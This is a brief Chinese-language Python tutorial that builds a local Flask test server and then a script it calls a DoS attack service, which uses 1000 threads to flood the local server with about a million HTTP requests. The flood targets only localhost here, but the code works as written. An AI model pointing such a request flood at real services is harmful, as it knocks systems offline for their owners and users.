Python系统教程02

前言

创建一个以python编写的后端web服务(好观察)

pip install flask 

from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return 'hello world'

if __name__ == '__main__':
    app.run(debug=True)

python编写DOS攻击服务

pip install requests

import requests
from requests.exceptions import RequestException
import threading

def requestGetOne():
    try:
        response = requests.get('http://127.0.0.1:5000', timeout=5)
        response.raise_for_status()  # 检查响应状态码
        print(response.text)
    except RequestException as e:
        print(f'请求出错: {e}')

def print_numbers():
    for i in range(1000):
        requestGetOne()

if __name__ == "__main__":
    threads = []
    for i in range(1000):  # 创建1000个线程
        thread = threading.Thread(target=print_numbers)
        threads.append(thread)
        thread.start()

    # 等待所有线程结束
    for thread in threads:
        thread.join()

    print("All threads have finished.")
